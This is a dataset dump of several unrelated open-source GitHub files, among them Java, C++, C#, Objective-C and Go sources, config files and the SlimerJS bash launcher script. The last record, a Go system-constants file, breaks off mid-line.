text
stringlengths
2
100k
meta
dict
/* Launch4j (http://launch4j.sourceforge.net/) Cross-platform Java application wrapper for creating Windows native executables. Copyright (c) 2004, 2007 Grzegorz Kowal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the Launch4j nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Created on Jul 19, 2006 */ package net.sf.launch4j.formimpl; import java.io.File; import java.util.prefs.Preferences; import javax.swing.JFileChooser; /** * @author Copyright (C) 2006 Grzegorz Kowal */ public class FileChooser extends JFileChooser { private final Preferences _prefs; private final String _key; public FileChooser(Class clazz) { _prefs = Preferences.userNodeForPackage(clazz); _key = "currentDir-" + clazz.getName().substring(clazz.getName().lastIndexOf('.') + 1); String path = _prefs.get(_key, null); if (path != null) { setCurrentDirectory(new File(path)); } } public void approveSelection() { _prefs.put(_key, getCurrentDirectory().getPath()); super.approveSelection(); } }
{ "pile_set_name": "Github" }
op { name: "DatasetToSingleElement" input_arg { name: "dataset" type: DT_VARIANT } output_arg { name: "components" type_list_attr: "output_types" } attr { name: "output_types" type: "list(type)" has_minimum: true minimum: 1 } attr { name: "output_shapes" type: "list(shape)" has_minimum: true minimum: 1 } } op { name: "DatasetToSingleElement" input_arg { name: "dataset" type: DT_VARIANT } output_arg { name: "components" type_list_attr: "output_types" } attr { name: "output_types" type: "list(type)" has_minimum: true minimum: 1 } attr { name: "output_shapes" type: "list(shape)" has_minimum: true minimum: 1 } is_stateful: true }
{ "pile_set_name": "Github" }
{ "index_name": "avaloniaui", "start_urls": [ "https://avaloniaui.net/docs/" ], "stop_urls": [], "selectors": { "lvl0": { "selector": ".treeview.active > a:first-child", "global": true, "default_value": "Documentation" }, "lvl1": ".content-header h1", "lvl2": ".content h1", "lvl3": ".content h2", "lvl4": ".content h3", "lvl5": ".content h4", "lvl6": ".content h5", "text": ".content p, .content li" }, "min_indexed_level": 2, "conversation_id": [ "1042053793" ], "nb_hits": 902 }
{ "pile_set_name": "Github" }
[options="header",cols="10%,10%,10%,70%"] |====== | Property | Mandatory | Type | Description | autoPurge | false | boolean | Flag which controls the global setting for the auto purge mechanism. The setting can be overriden by the schema 'autoPurge' flag. Default: true |======
{ "pile_set_name": "Github" }
#if defined(Hiro_VerticalSlider) namespace hiro { auto pVerticalSlider::construct() -> void { //TBS_TRANSPARENTBKGND is needed to render the transparent area of sliders properly inside TabFrame controls //however, this flag will prevent the slider control from redrawing during vertical window resizes when not inside TabFrame controls //this is because WM_PRINTCLIENT must be implemented in the parent window for this case //however, WM_PRINTCLIENT is incompatible with WM_PAINT, which is how most hiro custom widgets are rendered //as a hacky workaround, TBS_TRANSPARENTBKGND is enabled only when sliders are placed inside of TabFrame controls auto style = WS_CHILD | WS_TABSTOP | TBS_NOTICKS | TBS_BOTH | TBS_VERT; if(self().parentTabFrame(true)) style |= TBS_TRANSPARENTBKGND; hwnd = CreateWindow(TRACKBAR_CLASS, L"", style, 0, 0, 0, 0, _parentHandle(), nullptr, GetModuleHandle(0), 0); pWidget::construct(); setLength(state().length); setPosition(state().position); } auto pVerticalSlider::destruct() -> void { DestroyWindow(hwnd); } auto pVerticalSlider::minimumSize() const -> Size { return {25_sx, 0}; } auto pVerticalSlider::setLength(unsigned length) -> void { length += (length == 0); SendMessage(hwnd, TBM_SETRANGE, (WPARAM)true, (LPARAM)MAKELONG(0, length - 1)); SendMessage(hwnd, TBM_SETPAGESIZE, 0, (LPARAM)(length >> 3)); } auto pVerticalSlider::setPosition(unsigned position) -> void { SendMessage(hwnd, TBM_SETPOS, (WPARAM)true, (LPARAM)position); } auto pVerticalSlider::onChange() -> void { unsigned position = SendMessage(hwnd, TBM_GETPOS, 0, 0); if(position == state().position) return; state().position = position; self().doChange(); } } #endif
{ "pile_set_name": "Github" }
// // immer: immutable data structures for C++ // Copyright (C) 2016, 2017, 2018 Juan Pedro Bolivar Puente // // This software is distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE or copy at http://boost.org/LICENSE_1_0.txt // #include <immer/vector.hpp> #include <iostream> // include:myiota/start immer::vector<int> myiota(immer::vector<int> v, int first, int last) { for (auto i = first; i < last; ++i) v = std::move(v).push_back(i); return v; } // include:myiota/end int main() { auto v = myiota({}, 0, 100); std::copy(v.begin(), v.end(), std::ostream_iterator<int>{std::cout, "\n"}); }
{ "pile_set_name": "Github" }
/** * This header is generated by class-dump-z 0.2a. * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. * * Source: /System/Library/PrivateFrameworks/BackRow.framework/BackRow */ #import "BRProvider.h" @class NSSet, NSArray; @protocol BRControlFactory; @interface BRRecentAlbumsProvider : NSObject <BRProvider> { @private long _maxCount; // 4 = 0x4 long _dataCount; // 8 = 0x8 id<BRControlFactory> _controlFactory; // 12 = 0xc NSArray *_data; // 16 = 0x10 NSSet *_musicTypes; // 20 = 0x14 BOOL _invalidateOnValidityCheck; // 24 = 0x18 } @property(readonly, assign) long dataCount; // G=0x31663b55; converted property - (id)initWithControlFactory:(id)controlFactory maxCount:(long)count; // 0x31663c21 - (void)_databaseMessagesSuppressed:(id)suppressed; // 0x31663405 - (void)_databaseObjectWasAdded:(id)added; // 0x31663705 - (void)_databaseObjectWasModified:(id)modified; // 0x316635d9 - (void)_databaseObjectWillBeDeleted:(id)_databaseObject; // 0x31663669 - (void)_downloadConvertedToAsset:(id)asset; // 0x31663415 - (void)_hostAvailabilityChanged:(id)changed; // 0x316635b5 - (long)_primeData; // 0x31663829 - (void)_updateDataIfNeeded:(id)needed; // 0x31663539 - (id)controlFactory; // 0x316633f5 - (id)dataAtIndex:(long)index; // 0x31663b09 // converted property getter: - (long)dataCount; // 0x31663b55 - (void)dealloc; // 0x31663b8d - (id)hashForDataAtIndex:(long)index; // 0x31663ac5 @end
{ "pile_set_name": "Github" }
using Octopus.Client.Model.Accounts; using Octopus.Client.Repositories; namespace Octopus.Client.Editors { public class SshKeyPairAccountEditor : AccountEditor<SshKeyPairAccountResource, SshKeyPairAccountEditor> { public SshKeyPairAccountEditor(IAccountRepository repository) : base(repository) { } } }
{ "pile_set_name": "Github" }
#!/bin/bash #retrieve full path of the current script # symlinks are resolved, so application.ini could be found # this code comes from http://stackoverflow.com/questions/59895/ SOURCE="${BASH_SOURCE[0]}" while [ -h "$SOURCE" ]; do # resolve $SOURCE until the file is no longer a symlink SLIMERDIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )" SOURCE="$(readlink "$SOURCE")" [[ $SOURCE != /* ]] && SOURCE="$SLIMERDIR/$SOURCE" # if $SOURCE was a relative symlink, we need to resolve it relative to the path where the symlink file was located done SLIMERDIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )" SYSTEM=`uname -o 2>&1` if [ "$SYSTEM" == "Cygwin" ] then IN_CYGWIN=1 SLIMERDIR=`cygpath -w $SLIMERDIR` else IN_CYGWIN= fi # retrieve the path of a gecko launcher if [ "$SLIMERJSLAUNCHER" == "" ] then if [ -f "$SLIMERDIR/xulrunner/xulrunner" ] then SLIMERJSLAUNCHER="$SLIMERDIR/xulrunner/xulrunner" else if [ -f "$SLIMERDIR/xulrunner/xulrunner.exe" ] then SLIMERJSLAUNCHER="$SLIMERDIR/xulrunner/xulrunner.exe" else SLIMERJSLAUNCHER=`command -v firefox` if [ "$SLIMERJSLAUNCHER" == "" ] then SLIMERJSLAUNCHER=`command -v xulrunner` if [ "$SLIMERJSLAUNCHER" == "" ] then echo "SLIMERJSLAUNCHER environment variable is missing. Set it with the path to Firefox or XulRunner" exit 1 fi fi fi fi fi if [ ! -x "$SLIMERJSLAUNCHER" ] then echo "SLIMERJSLAUNCHER environment variable does not contain an executable path. Set it with the path to Firefox" exit 1 fi function showHelp() { echo " --config=<file> Load the given configuration file" echo " (JSON formated)" echo " --debug=[yes|no] Prints additional warning and debug message" echo " (default is no)" echo " --disk-cache=[yes|no] Enables disk cache (default is no)." echo " --help or -h Show this help" #echo " --ignore-ssl-errors=[yes|no] Ignores SSL errors (default is no)." echo " --load-images=[yes|no] Loads all inlined images (default is yes)" echo " --local-storage-quota=<number> Sets the maximum size of the offline" echo " local storage (in KB)" #echo " --local-to-remote-url-access=[yes|no] Allows local content to access remote" #echo " URL (default is no)" echo " --max-disk-cache-size=<number> Limits the size of the disk cache (in KB)" #echo " --output-encoding=<enc> Sets the encoding for the terminal output" #echo " (default is 'utf8')" #echo " --remote-debugger-port=<number> Starts the script in a debug harness and" #echo " listens on the specified port" #echo " --remote-debugger-autorun=[yes|no] Runs the script in the debugger immediately" #echo " (default is no)" echo " --proxy=<proxy url> Sets the proxy server" echo " --proxy-auth=<username:password> Provides authentication information for the" echo " proxy" echo " --proxy-type=[http|socks5|none|auto|system|config-url] Specifies the proxy type (default is http)" #echo " --script-encoding=<enc> Sets the encoding used for the starting" #echo " script (default is utf8)" #echo " --web-security=[yes|no] Enables web security (default is yes)" echo " --version or v Prints out SlimerJS version" #echo " --webdriver or --wd or -w Starts in 'Remote WebDriver mode' (embedded" #echo " GhostDriver) '127.0.0.1:8910'" #echo " --webdriver=[<IP>:]<PORT> Starts in 'Remote WebDriver mode' in the" #echo " specified network interface" #echo " --webdriver-logfile=<file> File where to write the WebDriver's Log " #echo " (default 'none') (NOTE: needs '--webdriver')" #echo " --webdriver-loglevel=[ERROR|WARN|INFO|DEBUG] WebDriver Logging Level " #echo " (default is 'INFO') (NOTE: needs '--webdriver')" #echo " --webdriver-selenium-grid-hub=<url> URL to the Selenium Grid HUB (default is" #echo " 'none') (NOTE: needs '--webdriver') " echo " --error-log-file=<file> Log all javascript errors in a file" echo " -jsconsole Open a window to view all javascript errors" echo " during the execution" echo "" echo "*** About profiles: see details of these Mozilla options at" echo "https://developer.mozilla.org/en-US/docs/Mozilla/Command_Line_Options#User_Profile" echo "" echo " --createprofile name Create a new profile and exit" echo " -P name Use the specified profile to execute the script" echo " -profile path Use the profile stored in the specified" echo " directory, to execute the script" echo "By default, SlimerJS use a temporary profile" echo "" } # retrieve list of existing environment variable, because Mozilla doesn't provide an API to get this # list LISTVAR="" ENVVAR=`env`; for v in $ENVVAR; do IFS='=' read -a var <<< "$v" LISTVAR="$LISTVAR,${var[0]}" done # check arguments. CREATE_TEMP='Y' HIDE_ERRORS='Y' shopt -s nocasematch for i in $*; do case "$i" in --help|-h) showHelp exit 0 ;; -reset-profile|-profile|-p|-createprofile|-profilemanager) CREATE_TEMP='' ;; --reset-profile|--profile|--p|--createprofile|--profilemanager) CREATE_TEMP='' ;; "--debug=true") HIDE_ERRORS='N' esac if [[ $i == --debug* ]] && [[ "$i" == *errors* ]]; then HIDE_ERRORS='N' fi done shopt -u nocasematch # If profile parameters, don't create a temporary profile PROFILE="" PROFILE_DIR="" if [ "$CREATE_TEMP" == "Y" ] then PROFILE_DIR=`mktemp -d -q /tmp/slimerjs.XXXXXXXX` if [ "$PROFILE_DIR" == "" ]; then echo "Error: cannot generate temp profile" exit 1 fi if [ "$IN_CYGWIN" == 1 ]; then PROFILE_DIR=`cygpath -w $PROFILE_DIR` fi PROFILE="--profile $PROFILE_DIR" else PROFILE="-purgecaches" fi # put all arguments in a variable, to have original arguments before their transformation # by Mozilla export __SLIMER_ARGS="$@" export __SLIMER_ENV="$LISTVAR" # launch slimerjs with firefox/xulrunner if [ "$HIDE_ERRORS" == "Y" ]; then "$SLIMERJSLAUNCHER" -app $SLIMERDIR/application.ini $PROFILE -no-remote "$@" 2> /dev/null else "$SLIMERJSLAUNCHER" -app $SLIMERDIR/application.ini $PROFILE -no-remote "$@" fi EXITCODE=$? if [ "$PROFILE_DIR" != "" ]; then rm -rf $PROFILE_DIR fi exit $EXITCODE
{ "pile_set_name": "Github" }
// mkerrors.sh -Wall -Werror -static -I/tmp/include // Code generated by the command above; see README.md. DO NOT EDIT. // +build mips64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go package unix import "syscall" const ( B1000000 = 0x1008 B115200 = 0x1002 B1152000 = 0x1009 B1500000 = 0x100a B2000000 = 0x100b B230400 = 0x1003 B2500000 = 0x100c B3000000 = 0x100d B3500000 = 0x100e B4000000 = 0x100f B460800 = 0x1004 B500000 = 0x1005 B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d BLKRRPART = 0x2000125f BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 CBAUD = 0x100f CBAUDEX = 0x1000 CIBAUD = 0x100f0000 CLOCAL = 0x800 CR1 = 0x200 CR2 = 0x400 CR3 = 0x600 CRDLY = 0x600 CREAD = 0x80 CS6 = 0x10 CS7 = 0x20 CS8 = 0x30 CSIZE = 0x30 CSTOPB = 0x40 ECHOCTL = 0x200 ECHOE = 0x10 ECHOK = 0x20 ECHOKE = 0x800 ECHONL = 0x40 ECHOPRT = 0x400 EFD_CLOEXEC = 0x80000 EFD_NONBLOCK = 0x80 EPOLL_CLOEXEC = 0x80000 EXTPROC = 0x10000 FF1 = 0x8000 FFDLY = 0x8000 FLUSHO = 0x2000 FS_IOC_ENABLE_VERITY = 0x80806685 FS_IOC_GETFLAGS = 0x40086601 FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615 FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614 FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613 F_GETLK = 0xe F_GETLK64 = 0xe F_GETOWN = 0x17 F_RDLCK = 0x0 F_SETLK = 0x6 F_SETLK64 = 0x6 F_SETLKW = 0x7 F_SETLKW64 = 0x7 F_SETOWN = 0x18 F_UNLCK = 0x2 F_WRLCK = 0x1 HUPCL = 0x400 ICANON = 0x2 IEXTEN = 0x100 IN_CLOEXEC = 0x80000 IN_NONBLOCK = 0x80 IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9 ISIG = 0x1 IUCLC = 0x200 IXOFF = 0x1000 IXON = 0x400 MAP_ANON = 0x800 MAP_ANONYMOUS = 0x800 MAP_DENYWRITE = 0x2000 MAP_EXECUTABLE = 0x4000 MAP_GROWSDOWN = 0x1000 MAP_HUGETLB = 0x80000 MAP_LOCKED = 0x8000 MAP_NONBLOCK = 0x20000 MAP_NORESERVE = 0x400 MAP_POPULATE = 0x10000 MAP_RENAME = 0x800 MAP_STACK = 0x40000 MCL_CURRENT = 0x1 MCL_FUTURE = 0x2 MCL_ONFAULT = 0x4 NFDBITS = 0x40 NLDLY = 0x100 NOFLSH = 0x80 NS_GET_NSTYPE = 0x2000b703 NS_GET_OWNER_UID = 0x2000b704 NS_GET_PARENT = 0x2000b702 NS_GET_USERNS = 0x2000b701 OLCUC = 0x2 ONLCR = 0x4 O_APPEND = 0x8 O_ASYNC = 0x1000 O_CLOEXEC = 0x80000 O_CREAT = 0x100 O_DIRECT = 0x8000 O_DIRECTORY = 0x10000 O_DSYNC = 0x10 O_EXCL = 0x400 O_FSYNC = 0x4010 O_LARGEFILE = 0x0 O_NDELAY = 0x80 O_NOATIME = 0x40000 O_NOCTTY = 0x800 O_NOFOLLOW = 0x20000 O_NONBLOCK = 0x80 O_PATH = 0x200000 O_RSYNC = 0x4010 O_SYNC = 0x4010 O_TMPFILE = 0x410000 O_TRUNC = 0x200 PARENB = 0x100 PARODD = 0x200 PENDIN = 0x4000 PERF_EVENT_IOC_DISABLE = 0x20002401 PERF_EVENT_IOC_ENABLE = 0x20002400 PERF_EVENT_IOC_ID = 0x40082407 PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409 PERF_EVENT_IOC_PERIOD = 0x80082404 PERF_EVENT_IOC_QUERY_BPF = 0xc008240a PERF_EVENT_IOC_REFRESH = 0x20002402 PERF_EVENT_IOC_RESET = 0x20002403 PERF_EVENT_IOC_SET_BPF = 0x80042408 PERF_EVENT_IOC_SET_FILTER = 0x80082406 PERF_EVENT_IOC_SET_OUTPUT = 0x20002405 PPPIOCATTACH = 0x8004743d PPPIOCATTCHAN = 0x80047438 PPPIOCCONNECT = 0x8004743a PPPIOCDETACH = 0x8004743c PPPIOCDISCONN = 0x20007439 PPPIOCGASYNCMAP = 0x40047458 PPPIOCGCHAN = 0x40047437 PPPIOCGDEBUG = 0x40047441 PPPIOCGFLAGS = 0x4004745a PPPIOCGIDLE = 0x4010743f PPPIOCGIDLE32 = 0x4008743f PPPIOCGIDLE64 = 0x4010743f PPPIOCGL2TPSTATS = 0x40487436 PPPIOCGMRU = 0x40047453 PPPIOCGRASYNCMAP = 0x40047455 PPPIOCGUNIT = 0x40047456 PPPIOCGXASYNCMAP = 0x40207450 PPPIOCSACTIVE = 0x80107446 PPPIOCSASYNCMAP = 0x80047457 PPPIOCSCOMPRESS = 0x8010744d PPPIOCSDEBUG = 0x80047440 PPPIOCSFLAGS = 0x80047459 PPPIOCSMAXCID = 0x80047451 PPPIOCSMRRU = 0x8004743b PPPIOCSMRU = 0x80047452 PPPIOCSNPMODE = 0x8008744b PPPIOCSPASS = 0x80107447 PPPIOCSRASYNCMAP = 0x80047454 PPPIOCSXASYNCMAP = 0x8020744f PPPIOCXFERUNIT = 0x2000744e PR_SET_PTRACER_ANY = 0xffffffffffffffff PTRACE_GETFPREGS = 0xe PTRACE_GET_THREAD_AREA = 0x19 PTRACE_GET_THREAD_AREA_3264 = 0xc4 PTRACE_GET_WATCH_REGS = 0xd0 PTRACE_OLDSETOPTIONS = 0x15 PTRACE_PEEKDATA_3264 = 0xc1 PTRACE_PEEKTEXT_3264 = 0xc0 PTRACE_POKEDATA_3264 = 0xc3 PTRACE_POKETEXT_3264 = 0xc2 PTRACE_SETFPREGS = 0xf PTRACE_SET_THREAD_AREA = 0x1a PTRACE_SET_WATCH_REGS = 0xd1 RLIMIT_AS = 0x6 RLIMIT_MEMLOCK = 0x9 RLIMIT_NOFILE = 0x5 RLIMIT_NPROC = 0x8 RLIMIT_RSS = 0x7 RNDADDENTROPY = 0x80085203 RNDADDTOENTCNT = 0x80045201 RNDCLEARPOOL = 0x20005206 RNDGETENTCNT = 0x40045200 RNDGETPOOL = 0x40085202 RNDRESEEDCRNG = 0x20005207 RNDZAPENTCNT = 0x20005204 RTC_AIE_OFF = 0x20007002 RTC_AIE_ON = 0x20007001 RTC_ALM_READ = 0x40247008 RTC_ALM_SET = 0x80247007 RTC_EPOCH_READ = 0x4008700d RTC_EPOCH_SET = 0x8008700e RTC_IRQP_READ = 0x4008700b RTC_IRQP_SET = 0x8008700c RTC_PIE_OFF = 0x20007006 RTC_PIE_ON = 0x20007005 RTC_PLL_GET = 0x40207011 RTC_PLL_SET = 0x80207012 RTC_RD_TIME = 0x40247009 RTC_SET_TIME = 0x8024700a RTC_UIE_OFF = 0x20007004 RTC_UIE_ON = 0x20007003 RTC_VL_CLR = 0x20007014 RTC_VL_READ = 0x40047013 RTC_WIE_OFF = 0x20007010 RTC_WIE_ON = 0x2000700f RTC_WKALM_RD = 0x40287010 RTC_WKALM_SET = 0x8028700f SCM_TIMESTAMPING = 0x25 SCM_TIMESTAMPING_OPT_STATS = 0x36 SCM_TIMESTAMPING_PKTINFO = 0x3a SCM_TIMESTAMPNS = 0x23 SCM_TXTIME = 0x3d SCM_WIFI_STATUS = 0x29 SFD_CLOEXEC = 0x80000 SFD_NONBLOCK = 0x80 SIOCATMARK = 0x40047307 SIOCGPGRP = 0x40047309 SIOCGSTAMPNS_NEW = 0x40108907 SIOCGSTAMP_NEW = 0x40108906 SIOCINQ = 0x467f SIOCOUTQ = 0x7472 SIOCSPGRP = 0x80047308 SOCK_CLOEXEC = 0x80000 SOCK_DGRAM = 0x1 SOCK_NONBLOCK = 0x80 SOCK_STREAM = 0x2 SOL_SOCKET = 0xffff SO_ACCEPTCONN = 0x1009 SO_ATTACH_BPF = 0x32 SO_ATTACH_REUSEPORT_CBPF = 0x33 SO_ATTACH_REUSEPORT_EBPF = 0x34 SO_BINDTODEVICE = 0x19 SO_BINDTOIFINDEX = 0x3e SO_BPF_EXTENSIONS = 0x30 SO_BROADCAST = 0x20 SO_BSDCOMPAT = 0xe SO_BUSY_POLL = 0x2e SO_CNX_ADVICE = 0x35 SO_COOKIE = 0x39 SO_DETACH_REUSEPORT_BPF = 0x44 SO_DOMAIN = 0x1029 SO_DONTROUTE = 0x10 SO_ERROR = 0x1007 SO_INCOMING_CPU = 0x31 SO_INCOMING_NAPI_ID = 0x38 SO_KEEPALIVE = 0x8 SO_LINGER = 0x80 SO_LOCK_FILTER = 0x2c SO_MARK = 0x24 SO_MAX_PACING_RATE = 0x2f SO_MEMINFO = 0x37 SO_NOFCS = 0x2b SO_OOBINLINE = 0x100 SO_PASSCRED = 0x11 SO_PASSSEC = 0x22 SO_PEEK_OFF = 0x2a SO_PEERCRED = 0x12 SO_PEERGROUPS = 0x3b SO_PEERSEC = 0x1e SO_PROTOCOL = 0x1028 SO_RCVBUF = 0x1002 SO_RCVBUFFORCE = 0x21 SO_RCVLOWAT = 0x1004 SO_RCVTIMEO = 0x1006 SO_RCVTIMEO_NEW = 0x42 SO_RCVTIMEO_OLD = 0x1006 SO_REUSEADDR = 0x4 SO_REUSEPORT = 0x200 SO_RXQ_OVFL = 0x28 SO_SECURITY_AUTHENTICATION = 0x16 SO_SECURITY_ENCRYPTION_NETWORK = 0x18 SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17 SO_SELECT_ERR_QUEUE = 0x2d SO_SNDBUF = 0x1001 SO_SNDBUFFORCE = 0x1f SO_SNDLOWAT = 0x1003 SO_SNDTIMEO = 0x1005 SO_SNDTIMEO_NEW = 0x43 SO_SNDTIMEO_OLD = 0x1005 SO_STYLE = 0x1008 SO_TIMESTAMPING = 0x25 SO_TIMESTAMPING_NEW = 0x41 SO_TIMESTAMPING_OLD = 0x25 SO_TIMESTAMPNS = 0x23 SO_TIMESTAMPNS_NEW = 0x40 SO_TIMESTAMPNS_OLD = 0x23 SO_TIMESTAMP_NEW = 0x3f SO_TXTIME = 0x3d SO_TYPE = 0x1008 SO_WIFI_STATUS = 0x29 SO_ZEROCOPY = 0x3c TAB1 = 0x800 TAB2 = 0x1000 TAB3 = 0x1800 TABDLY = 0x1800 TCFLSH = 0x5407 TCGETA = 0x5401 TCGETS = 0x540d TCGETS2 = 0x4030542a TCSAFLUSH = 0x5410 TCSBRK = 0x5405 TCSBRKP = 0x5486 TCSETA = 0x5402 TCSETAF = 0x5404 TCSETAW = 0x5403 TCSETS = 0x540e TCSETS2 = 0x8030542b TCSETSF = 0x5410 TCSETSF2 = 0x8030542d TCSETSW = 0x540f TCSETSW2 = 0x8030542c TCXONC = 0x5406 TFD_CLOEXEC = 0x80000 TFD_NONBLOCK = 0x80 TIOCCBRK = 0x5428 TIOCCONS = 0x80047478 TIOCEXCL = 0x740d TIOCGDEV = 0x40045432 TIOCGETD = 0x7400 TIOCGETP = 0x7408 TIOCGEXCL = 0x40045440 TIOCGICOUNT = 0x5492 TIOCGISO7816 = 0x40285442 TIOCGLCKTRMIOS = 0x548b TIOCGLTC = 0x7474 TIOCGPGRP = 0x40047477 TIOCGPKT = 0x40045438 TIOCGPTLCK = 0x40045439 TIOCGPTN = 0x40045430 TIOCGPTPEER = 0x20005441 TIOCGRS485 = 0x4020542e TIOCGSERIAL = 0x5484 TIOCGSID = 0x7416 TIOCGSOFTCAR = 0x5481 TIOCGWINSZ = 0x40087468 TIOCINQ = 0x467f TIOCLINUX = 0x5483 TIOCMBIC = 0x741c TIOCMBIS = 0x741b TIOCMGET = 0x741d TIOCMIWAIT = 0x5491 TIOCMSET = 0x741a TIOCM_CAR = 0x100 TIOCM_CD = 0x100 TIOCM_CTS = 0x40 TIOCM_DSR = 0x400 TIOCM_RI = 0x200 TIOCM_RNG = 0x200 TIOCM_SR = 0x20 TIOCM_ST = 0x10 TIOCNOTTY = 0x5471 TIOCNXCL = 0x740e TIOCOUTQ = 0x7472 TIOCPKT = 0x5470 TIOCSBRK = 0x5427 TIOCSCTTY = 0x5480 TIOCSERCONFIG = 0x5488 TIOCSERGETLSR = 0x548e TIOCSERGETMULTI = 0x548f TIOCSERGSTRUCT = 0x548d TIOCSERGWILD = 0x5489 TIOCSERSETMULTI = 0x5490 TIOCSERSWILD = 0x548a TIOCSER_TEMT = 0x1 TIOCSETD = 0x7401 TIOCSETN = 0x740a TIOCSETP = 0x7409 TIOCSIG = 0x80045436 TIOCSISO7816 = 0xc0285443 TIOCSLCKTRMIOS = 0x548c TIOCSLTC = 0x7475 TIOCSPGRP = 0x80047476 TIOCSPTLCK = 0x80045431 TIOCSRS485 = 0xc020542f TIOCSSERIAL = 0x5485 TIOCSSOFTCAR = 0x5482 TIOCSTI = 0x5472 TIOCSWINSZ = 0x80087467 TIOCVHANGUP = 0x5437 TOSTOP = 0x8000 TUNATTACHFILTER = 0x801054d5 TUNDETACHFILTER = 0x801054d6 TUNGETDEVNETNS = 0x200054e3 TUNGETFEATURES = 0x400454cf TUNGETFILTER = 0x401054db TUNGETIFF = 0x400454d2 TUNGETSNDBUF = 0x400454d3 TUNGETVNETBE = 0x400454df TUNGETVNETHDRSZ = 0x400454d7 TUNGETVNETLE = 0x400454dd TUNSETCARRIER = 0x800454e2 TUNSETDEBUG = 0x800454c9 TUNSETFILTEREBPF = 0x400454e1 TUNSETGROUP = 0x800454ce TUNSETIFF = 0x800454ca TUNSETIFINDEX = 0x800454da TUNSETLINK = 0x800454cd TUNSETNOCSUM = 0x800454c8 TUNSETOFFLOAD = 0x800454d0 TUNSETOWNER = 0x800454cc TUNSETPERSIST = 0x800454cb TUNSETQUEUE = 0x800454d9 TUNSETSNDBUF = 0x800454d4 TUNSETSTEERINGEBPF = 0x400454e0 TUNSETTXFILTER = 0x800454d1 TUNSETVNETBE = 0x800454de TUNSETVNETHDRSZ = 0x800454d8 TUNSETVNETLE = 0x800454dc UBI_IOCATT = 0x80186f40 UBI_IOCDET = 0x80046f41 UBI_IOCEBCH = 0x80044f02 UBI_IOCEBER = 0x80044f01 UBI_IOCEBISMAP = 0x40044f05 UBI_IOCEBMAP = 0x80084f03 UBI_IOCEBUNMAP = 0x80044f04 UBI_IOCMKVOL = 0x80986f00 UBI_IOCRMVOL = 0x80046f01 UBI_IOCRNVOL = 0x91106f03 UBI_IOCRPEB = 0x80046f04 UBI_IOCRSVOL = 0x800c6f02 UBI_IOCSETVOLPROP = 0x80104f06 UBI_IOCSPEB = 0x80046f05 UBI_IOCVOLCRBLK = 0x80804f07 UBI_IOCVOLRMBLK = 0x20004f08 UBI_IOCVOLUP = 0x80084f00 VDISCARD = 0xd VEOF = 0x10 VEOL = 0x11 VEOL2 = 0x6 VMIN = 0x4 VREPRINT = 0xc VSTART = 0x8 VSTOP = 0x9 VSUSP = 0xa VSWTC = 0x7 VSWTCH = 0x7 VT1 = 0x4000 VTDLY = 0x4000 VTIME = 0x5 VWERASE = 0xe WDIOC_GETBOOTSTATUS = 0x40045702 WDIOC_GETPRETIMEOUT = 0x40045709 WDIOC_GETSTATUS = 0x40045701 WDIOC_GETSUPPORT = 0x40285700 WDIOC_GETTEMP = 0x40045703 WDIOC_GETTIMELEFT = 0x4004570a WDIOC_GETTIMEOUT = 0x40045707 WDIOC_KEEPALIVE = 0x40045705 WDIOC_SETOPTIONS = 0x40045704 WORDSIZE = 0x40 XCASE = 0x4 XTABS = 0x1800 ) // Errors const ( EADDRINUSE = syscall.Errno(0x7d) EADDRNOTAVAIL = syscall.Errno(0x7e) EADV = syscall.Errno(0x44) EAFNOSUPPORT = syscall.Errno(0x7c) EALREADY = syscall.Errno(0x95) EBADE = syscall.Errno(0x32) EBADFD = syscall.Errno(0x51) EBADMSG = syscall.Errno(0x4d) EBADR = syscall.Errno(0x33) EBADRQC = syscall.Errno(0x36) EBADSLT = syscall.Errno(0x37) EBFONT = syscall.Errno(0x3b) ECANCELED = syscall.Errno(0x9e) ECHRNG = syscall.Errno(0x25) ECOMM = syscall.Errno(0x46) ECONNABORTED = syscall.Errno(0x82) ECONNREFUSED = syscall.Errno(0x92) ECONNRESET = 